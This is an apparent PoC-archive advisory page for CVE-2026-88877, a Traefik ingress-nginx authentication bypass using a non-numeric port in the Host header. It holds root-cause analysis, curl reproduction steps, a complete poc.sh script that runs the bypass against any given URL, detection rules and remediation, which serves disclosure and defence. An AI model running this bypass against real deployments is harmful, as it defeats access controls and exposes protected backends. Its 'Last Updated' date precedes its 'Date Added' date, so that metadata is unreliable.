PoC Archive PoC Archive
CVE-2026-88877 / GHSA-cjr6-pf59-jq29 category: web CVSS 9.8 (CRITICAL)
Patched

Traefik Kubernetes Ingress-NGINX Provider Auth Bypass via from-to-www-redirect (CVE-2026-88877)

Published: 2026-11-25 • Researcher: pwnVader (Jesus P Romero, PoC); Traefik project (GHSA-cjr6-pf59-jq29) and VulnCheck (advisory)

Target software Traefik HTTP reverse proxy / load balancer — Kubernetes ingress-nginx provider (providers.kubernetesingressnginx)
Affected versions Traefik >= 3.7.0 and <= 3.7.11 (NVD range >= 3.7.0, < 3.7.12). Traefik v2 and v3 releases before 3.7.0 are not affected. Fixed in 3.7.12
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-88877 / GHSA-cjr6-pf59-jq29
Category
web
Affected product
Traefik HTTP reverse proxy / load balancer — Kubernetes ingress-nginx provider (providers.kubernetesingressnginx)
Affected versions
Traefik >= 3.7.0 and <= 3.7.11 (NVD range >= 3.7.0, < 3.7.12). Traefik v2 and v3 releases before 3.7.0 are not affected. Fixed in 3.7.12
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-22
Author / ResearcherpwnVader (Jesus P Romero, PoC); Traefik project (GHSA-cjr6-pf59-jq29) and VulnCheck (advisory)
CVE / AdvisoryCVE-2026-88877 / GHSA-cjr6-pf59-jq29
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS v3.1, NVD/worklist); vendor advisory also rates 9.3 (CVSS 4.0); vector not given in the worklist — see references
StatusPoC
Tagsauth-bypass, Traefik, Kubernetes, ingress-nginx, ingress-controller, middleware, Host-header, CWE-639, unauthenticated, reverse-proxy, from-to-www-redirect
RelatedN/A

Affected Target

FieldValue
Software / SystemTraefik HTTP reverse proxy / load balancer — Kubernetes ingress-nginx provider (providers.kubernetesingressnginx)
Versions AffectedTraefik >= 3.7.0 and <= 3.7.11 (NVD range >= 3.7.0, < 3.7.12). Traefik v2 and v3 releases before 3.7.0 are not affected. Fixed in 3.7.12
Language / PlatformGo (Traefik); Bash + curl (PoC); Kubernetes (kind in the upstream lab)
Authentication RequiredNo — the attacker needs no credentials; the bypass discards the BasicAuth / allowlist the Ingress configured
Network Access RequiredYes — HTTP(S) access to the Traefik ingress entrypoint

Summary

Traefik’s Kubernetes ingress-nginx provider mishandles Ingresses that carry both an authentication annotation and the from-to-www-redirect annotation. For such an Ingress it creates an additional sibling router that matches on the host alone, carries only the generated redirect middleware, and still forwards to the parent router’s protected backend. Because that redirect middleware is not a terminal handler and its pattern accepts only a numeric port, a request whose Host header carries a non-numeric or empty port selects the sibling router, misses the redirect, and reaches the protected backend with none of the Ingress annotation-derived middlewares applied. This silently discards BasicAuth, source-IP allowlisting and every other annotation-derived middleware on versions 3.7.0 through 3.7.11; the issue is fixed in 3.7.12.

Vulnerability Details

Root Cause

When the ingress-nginx provider translates an Ingress that combines an authentication (or allowlist) annotation with nginx.ingress.kubernetes.io/from-to-www-redirect: "true", it emits a second “sibling” router in addition to the parent router. The sibling router matches only the host (Host("www.example.com")) and carries only the generated RedirectRegex middleware, but its Service field is copied from the parent router, so it still points at the protected backend.

Two properties combine into a bypass:

  • RedirectRegex is not a terminal handler. If the regex does not match the request, control falls through to the next handler and the request is ultimately proxied to the backend.
  • The generated regex ((https?)://[^/:]+(:[0-9]+)?/(.*)) accepts only a numeric port, while Traefik’s Host() matcher canonicalizes the request authority through net.SplitHostPort, which tolerates a non-numeric or empty port.

A request whose Host header is www.example.com:x therefore matches the sibling router but not the redirect regex, so it is proxied to the protected backend with none of the annotation-derived middlewares attached.

Attack Vector

A single unauthenticated HTTP request to the Traefik entrypoint with a crafted Host header, for example Host: www.example.local:x (a non-numeric port). No credentials, cookies or prior requests are required; the upstream PoC issues three GETs (baseline, www redirect, bypass) purely for verification. Preconditions: Traefik 3.7.0–3.7.11 running with the ingress-nginx provider enabled, and an Ingress that combines an auth/allowlist annotation with from-to-www-redirect for a host without a www. counterpart.

Impact

Authentication bypass and source-IP allowlist bypass: the request reaches the protected backend with the BasicAuth middleware and every other annotation-derived middleware skipped. What the attacker can then do depends on the backend (read data, invoke unauthenticated backend endpoints, or abuse the backend’s own trust in the ingress). There is no code execution in Traefik itself; the severity (9.8 / 9.3) reflects a complete loss of the access control the Ingress declares.

Environment / Lab Setup

Output
OS:          Linux x86_64 host with Docker (kind cluster)
Target:      Traefik v3.7.10 (any 3.7.0–3.7.11) started with
             --providers.kubernetesingressnginx=true, a traefik/whoami
             backend, and an Ingress carrying
             nginx.ingress.kubernetes.io/auth-type: basic plus
             nginx.ingress.kubernetes.io/from-to-www-redirect: "true"
Attacker:    Any host that can reach the Traefik entrypoint; bash + curl
Tools:       docker, kind, kubectl, curl, bash

Setup Steps

The upstream README documents a self-contained kind lab and a check mode. The published repository snapshot contains only LICENSE, README.md and poc.sh; the referenced lab/ directory (up.sh, down.sh, manifests.yaml) is not published, so the lab must be rebuilt manually. Upstream commands as documented:

Shell script
1
2
3
./lab/up.sh            # upstream: kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab           # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh          # tear down

Manual equivalent (what the missing lab performs):

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
kind create cluster --name cve88877
helm install traefik traefik/traefik --version 3.7.10 \
  --set providers.kubernetesIngressNginx.enabled=true
kubectl create deployment whoami --image=traefik/whoami
kubectl expose deployment whoami --port=80
kubectl apply -f - <<'EOF'
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: protected
  annotations:
    nginx.ingress.kubernetes.io/auth-type: basic
    nginx.ingress.kubernetes.io/from-to-www-redirect: "true"
spec:
  rules:
  - host: example.local
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: whoami
            port:
              number: 80
EOF
kubectl port-forward svc/traefik 18080:8000

Proof of Concept

Step-by-Step Reproduction

  1. Baseline the protected host — request the Ingress host directly; the BasicAuth middleware answers 401.
    Shell script
    1
    
    curl -s -o /dev/null -w '%{http_code}\n' -H 'Host: example.local' http://127.0.0.1:18080/
  2. Confirm the redirect router — request the www host; the generated RedirectRegex answers 308 to the canonical host.
    Shell script
    1
    
    curl -s -o /dev/null -w '%{http_code}\n' -H 'Host: www.example.local' http://127.0.0.1:18080/
  3. Send the bypass request — add a non-numeric port to the www Host header; the request selects the sibling router, misses the redirect regex, and is proxied to the backend.
    Shell script
    1
    
    curl -s -i -H 'Host: www.example.local:x' http://127.0.0.1:18080/
  4. Verify — the whoami backend echoes the request, proving it was reached with no Authorization header and no auth middleware applied.

Alternatively, run the upstream script against a candidate deployment (read-only: three GET requests):

Shell script
1
./poc.sh check --url https://target.example --host target.example --verbose

Exploit Code

See poc.sh in this folder (modes: check, lab, lab-down). The bypass is a single crafted request; the script wraps it in a three-request oracle.

Shell script
1
2
3
4
5
6
TARGET=http://127.0.0.1:18080
BASE=example.local

curl -s -o /dev/null -w 'baseline: %{http_code}\n' -H "Host: $BASE" "$TARGET/"        # expect 401
curl -s -o /dev/null -w 'redirect: %{http_code}\n' -H "Host: www.$BASE" "$TARGET/"    # expect 308
curl -s -i -H "Host: www.$BASE:x" "$TARGET/" | head -20                               # bypass: backend body

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
[1] Protected host (Host: example.local) — authentication must be enforced
    HTTP 401
  [PASS] auth middleware enforced (HTTP 401)

[2] www host (Host: www.example.local) — the redirect router
    HTTP 308
  [PASS] redirect router responds (HTTP 308)

[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
    HTTP 200
    > Hostname: whoami-ff77f998d-25f6n
    > RemoteAddr: 10.244.0.8:57586
    > X-Forwarded-Server: traefik-7f76f4c58d-5knfz

== RESULT ==
  [PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)

The 200 is what the whoami backend returns in the upstream lab; with another backend the bypass may surface as any non-401/403, non-redirect response.

Detection & Indicators of Compromise

  • Requests whose Host header carries a non-numeric or empty port (for example www.example.com:x or www.example.com:) — the signature of the sibling-router bypass.
  • A request to the www. variant of a protected host that returns a backend response instead of a 308/301 redirect.
  • Backend access logs showing requests to a host that the Ingress protects with BasicAuth or an IP allowlist, arriving without an Authorization header and without the expected redirect.
  • Traefik configuration review: Ingresses that combine an auth/allowlist annotation with nginx.ingress.kubernetes.io/from-to-www-redirect on Traefik 3.7.0–3.7.11. Treat every such Ingress as exposed until patched.

Example access-log line (Host field with a non-numeric port):

Output
1
203.0.113.7 - - [25/Nov/2026:12:00:00 +0000] "GET / HTTP/1.1" 200 412 "-" "curl/8.5.0" "www.example.local:x"

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-88877 Traefik from-to-www-redirect bypass attempt"; \
  content:"Host|3a|"; http_header; \
  pcre:"/Host\x3a[ \t]*[^\r\n]*:[^0-9\r\n]/i"; sid:90088877;)

Remediation

ActionDetail
PatchUpgrade to Traefik v3.7.12 or later. The fix anchors the redirect regex and points the redirect router at an internal unavailable service so a slipped request can never reach a protected backend.
WorkaroundRemove nginx.ingress.kubernetes.io/from-to-www-redirect from any Ingress that also carries authentication or source-IP allowlisting, and implement the www redirect with an explicit Traefik RedirectScheme/RedirectRegex CRD that keeps the access-control middlewares attached.
Config HardeningEnforce authentication at the backend/upstream as defence in depth; keep ingress controllers inside their support window; alert on non-numeric Host ports.

References

Notes

Auto-ingested from https://github.com/pwnVader/CVE-2026-88877-PoC-pwnVader on 2026-11-25.

Review verdict: real PoC, limited. poc.sh performs the actual bypass (crafted Host header) and reads the protected backend’s response, so it is exploit code rather than a version/audit scanner; the script also has a lab mode for a local kind cluster (harness not published). It is not the original discovery — the issue was disclosed through the Traefik advisory and fixed in v3.7.12, and the repo is an independent technical analysis.

Limitations: the README documents lab/up.sh, lab/down.sh and lab/manifests.yaml, but the published snapshot tracks only LICENSE, README.md and poc.sh; the lab harness is missing and must be rebuilt from the README (as above). The check mode is an oracle: it confirms the request reached the backend (status code and echoed headers), not data theft or downstream impact, and its verdict is backend-dependent. Reproduction needs a Kubernetes Ingress with the specific annotation combination and a host without a www. counterpart. No RCE is demonstrated. The upstream files are archived with the repo’s MIT license and author attribution (Copyright (c) 2026 Jesus P Romero); the license permits redistribution with attribution. Worklist metrics: CVSS 9.8, EPSS 0.00649, not listed in CISA KEV at ingest time. Cloud was considered as the category because the provider is Kubernetes-specific, but the vulnerability is an HTTP-layer routing/middleware bypass in a reverse proxy, so it is filed under web.

poc.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#!/usr/bin/env bash
# Archived for authorized security research only.
# Source: https://github.com/pwnVader/CVE-2026-88877-PoC-pwnVader (see README for attribution/license)
# =============================================================================
# CVE-2026-88877 — Traefik v3.7.0 .. v3.7.11 — Authentication bypass via the
#                 Kubernetes ingress-nginx provider and the
#                 nginx.ingress.kubernetes.io/from-to-www-redirect annotation
#
# Author : pwnVader
# License: MIT (repository root)
# Note   : independent technical analysis + PoC (not the original discovery);
#          the vulnerability was disclosed by the Traefik project and fixed in v3.7.12.
#
# When an Ingress carries both an authentication annotation and
# from-to-www-redirect, Traefik creates an extra "sibling" router that matches
# the host alone and carries only a RedirectRegex middleware, but still points
# at the protected backend. The regex only accepts a numeric (or absent) port:
#
#     (https?)://[^/:]+(:[0-9]+)?/(.*)
#
# A request with a non-numeric port in the Host header (Host: www.example.com:x)
# still matches the sibling router (the Host matcher canonicalizes the authority
# via net.SplitHostPort) but does NOT match the redirect regex. Because
# RedirectRegex is not a terminal handler, the request falls through and is
# proxied to the protected backend with none of the Ingress's annotation-derived
# middlewares applied — BasicAuth, source-IP allowlists, etc.
#
# Modes
#   check     Test a target (read-only, three requests).
#   lab       Build the local kind lab (Traefik v3.7.10) and test it.
#   lab-down  Tear the lab down.
#
# Usage
#   ./poc.sh check --url https://target [--host target] [--path /]
#   ./poc.sh lab
#
# Options
#   --url URL      Connection target (scheme://host[:port]).
#   --host HOST    Base host for the Host header (default: hostname of --url).
#   --path PATH    Request path (default: /).
#   --timeout N    Per-request timeout in seconds (default 15).
#   --insecure     Do not verify TLS certificates (-k).
#   --verbose      Print the raw responses.
# =============================================================================
set -u

DEFAULT_TIMEOUT=15
MODE=""
URL=""
HOST=""
PATH_="/"
TIMEOUT="$DEFAULT_TIMEOUT"
INSECURE=""
VERBOSE=0
FROM_MENU=0

passed=0; failed=0
die(){ echo "error: $1" >&2; exit 2; }

BANNER=$(cat <<'BANNER_EOF'
██████╗  ██╗    ██╗ ███╗   ██╗ ██╗   ██╗  █████╗  ██████╗  ███████╗ ██████╗
██╔══██╗ ██║    ██║ ████╗  ██║ ██║   ██║ ██╔══██╗ ██╔══██╗ ██╔════╝ ██╔══██╗
██████╔╝ ██║ █╗ ██║ ██╔██╗ ██║ ██║   ██║ ███████║ ██║  ██║ █████╗   ██████╔╝
██╔═══╝  ██║███╗██║ ██║╚██╗██║ ╚██╗ ██╔╝ ██╔══██║ ██║  ██║ ██╔══╝   ██╔══██╗
██║      ╚███╔███╔╝ ██║ ╚████║  ╚████╔╝  ██║  ██║ ██████╔╝ ███████╗ ██║  ██║
╚═╝       ╚══╝╚══╝  ╚═╝  ╚═══╝   ╚═══╝   ╚═╝  ╚═╝ ╚═════╝  ╚══════╝ ╚═╝  ╚═╝
BANNER_EOF
)
if [ -t 1 ]; then C_G='\033[32m'; C_R='\033[31m'; C_Y='\033[33m'; C_C='\033[36m'; C_0='\033[0m'; else C_G=''; C_R=''; C_Y=''; C_C=''; C_0=''; fi
trap 'echo; echo "interrupted by user"; exit 130' INT
need(){ command -v "$1" >/dev/null 2>&1 || die "required tool not found: $1"; }
need curl
print_banner(){ printf '%s\n' "$BANNER"; echo "  Author: pwnVader"; echo; }

ok(){   echo -e "  ${C_G}[PASS]${C_0} $1"; passed=$((passed+1)); }
ko(){   echo -e "  ${C_R}[FAIL]${C_0} $1"; failed=$((failed+1)); }
info(){ echo -e "  ${C_C}[info]${C_0} $1"; }
usage(){ sed -n '2,50p' "$0"; }

KIND="${KIND:-kind}"
KUBECTL="${KUBECTL:-kubectl}"
LAB_DIR="$(cd "$(dirname "$0")" && pwd)/lab"
LAB_URL="http://127.0.0.1:${LAB_PORT:-18080}"
LAB_HOST="example.local"

req(){ # req HOSTHEADER -> "code"
  local h="$1"
  local opts=(-s -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" -H "Host: $h")
  [ -n "$INSECURE" ] && opts+=(-k)
  curl "${opts[@]}" "$URL$PATH_"
}

req_body(){ # req_body HOSTHEADER -> full response (headers + body)
  local h="$1"
  local opts=(-s -i --max-time "$TIMEOUT" -H "Host: $h")
  [ -n "$INSECURE" ] && opts+=(-k)
  curl "${opts[@]}" "$URL$PATH_"
}

start_lab_portforward(){
  need "$KUBECTL"
  pkill -f "port-forward svc/traefik" 2>/dev/null || true
  setsid nohup "$KUBECTL" port-forward svc/traefik "${LAB_PORT:-18080}":8000 \
    >/tmp/cve88877-port-forward.log 2>&1 < /dev/null &
  disown 2>/dev/null || true
  for _ in $(seq 1 20); do
    if curl -s -o /dev/null --max-time 2 "$LAB_URL/"; then return 0; fi
    sleep 1
  done
  return 1
}

do_check(){
  [ -n "$URL" ] || die "--url is required"
  URL="${URL%/}"
  if [ -z "$HOST" ]; then HOST="$(printf '%s' "$URL" | sed -E 's#^[a-z]+://##; s#/.*$##; s#:[0-9]+$##')"; fi
  local www="www.${HOST}"
  local malformed="${www}:x"

  echo "== CVE-2026-88877 PoC (check) =="
  echo "connection : $URL$PATH_"
  echo "host base  : $HOST"
  echo

  echo "[1] Protected host (Host: $HOST) — authentication must be enforced"
  local c1; c1=$(req "$HOST")
  echo "    HTTP $c1"
  [ "$VERBOSE" = 1 ] && req_body "$HOST" | sed 's/^/    | /' | head -12
  case "$c1" in 401|403) ok "auth middleware enforced (HTTP $c1)";; 2*) info "host is NOT protected (HTTP $c1) — nothing to bypass";; *) info "unexpected status $c1";; esac
  echo

  echo "[2] www host (Host: $www) — the redirect router"
  local c2; c2=$(req "$www")
  echo "    HTTP $c2"
  [ "$VERBOSE" = 1 ] && req_body "$www" | sed 's/^/    | /' | head -10
  case "$c2" in 30*) ok "redirect router responds (HTTP $c2)";; *) info "no redirect (HTTP $c2)";; esac
  echo

  echo "[3] Bypass attempt (Host: $malformed) — non-numeric port"
  local c3; c3=$(req "$malformed")
  echo "    HTTP $c3"
  local body3; body3=$(req_body "$malformed")
  [ "$VERBOSE" = 1 ] && printf '%s' "$body3" | sed 's/^/    | /' | head -14
  echo "$body3" | grep -aiE 'Hostname:|RemoteAddr:|Server:' | head -3 | sed 's/^/    > /'
  echo

  echo "== RESULT =="
  if { [ "$c1" = "401" ] || [ "$c1" = "403" ]; } && [ "$c3" != "401" ] && [ "$c3" != "403" ] && [ "${c3:0:1}" != "3" ]; then
    ok "VULNERABLE: the request reached the protected backend without authentication (HTTP $c3)"
    echo "  The auth middleware was bypassed with a non-numeric port in the Host header."
    echo "  (The exact status code depends on the backend; this lab's whoami backend returns 200.)"
    exit 0
  elif [ "$c1" = "401" ] || [ "$c1" = "403" ]; then
    ko "not vulnerable on this target (bypass request returned HTTP $c3)"
    echo "  Either the version is fixed (>= 3.7.12) or the Ingress does not combine"
    echo "  authentication with nginx.ingress.kubernetes.io/from-to-www-redirect."
    exit 1
  else
    info "inconclusive: the base host did not require authentication (HTTP $c1)"
    exit 1
  fi
}

interactive(){
  print_banner
  echo "  CVE-2026-88877 - Traefik ingress-nginx auth bypass (from-to-www-redirect)"
  echo
  echo "    1) Build the local lab (kind + Traefik v3.7.10) and test it"
  echo "    2) Test a custom target"
  echo "    3) Tear down the local lab"
  echo "    0) exit"
  echo
  printf "  mode [1]: "; read -r sel; sel="${sel:-1}"
  case "$sel" in
    1) MODE="lab" ;;
    2) MODE="check"; printf "  url  [http://127.0.0.1:18080]: "; read -r u; URL="${u:-http://127.0.0.1:18080}"
       printf "  host [example.local]: "; read -r h; HOST="${h:-example.local}" ;;
    3) MODE="lab-down" ;;
    0) exit 0 ;;
    *) die "invalid selection: $sel" ;;
  esac
  FROM_MENU=1
}

# ----------------------------------- args -----------------------------------
if [ $# -eq 0 ]; then
  interactive
else
  case "$1" in check|lab|lab-down) MODE="$1"; shift ;; -h|--help) usage; exit 0 ;; *) die "unknown mode: $1" ;; esac
  while [ $# -gt 0 ]; do
    case "$1" in
      --url)      URL="${2:-}"; shift 2 ;;
      --host)     HOST="${2:-}"; shift 2 ;;
      --path)     PATH_="${2:-/}"; shift 2 ;;
      --timeout)  TIMEOUT="${2:-$DEFAULT_TIMEOUT}"; shift 2 ;;
      --insecure) INSECURE=1; shift ;;
      --verbose)  VERBOSE=1; shift ;;
      -h|--help)  usage; exit 0 ;;
      *) die "unknown option: $1" ;;
    esac
  done
fi

[ "$FROM_MENU" = "1" ] || print_banner

case "$MODE" in
  check)
    do_check
    ;;
  lab)
    need docker; need "$KIND"; need "$KUBECTL"
    if ! "$KIND" get clusters 2>/dev/null | grep -qx "${CLUSTER:-cve88877}"; then
      echo "[*] building the lab (this takes a few minutes)..."
      bash "$LAB_DIR/up.sh" || die "lab setup failed"
    else
      info "kind cluster already exists"
      "$KUBECTL" apply -f "$LAB_DIR/manifests.yaml" >/dev/null
      "$KUBECTL" rollout status deploy/traefik --timeout=120s >/dev/null
      "$KUBECTL" rollout status deploy/whoami --timeout=120s >/dev/null
    fi
    start_lab_portforward || die "could not expose the lab on $LAB_URL"
    URL="$LAB_URL"; HOST="$LAB_HOST"
    do_check
    ;;
  lab-down)
    bash "$LAB_DIR/down.sh"
    ;;
esac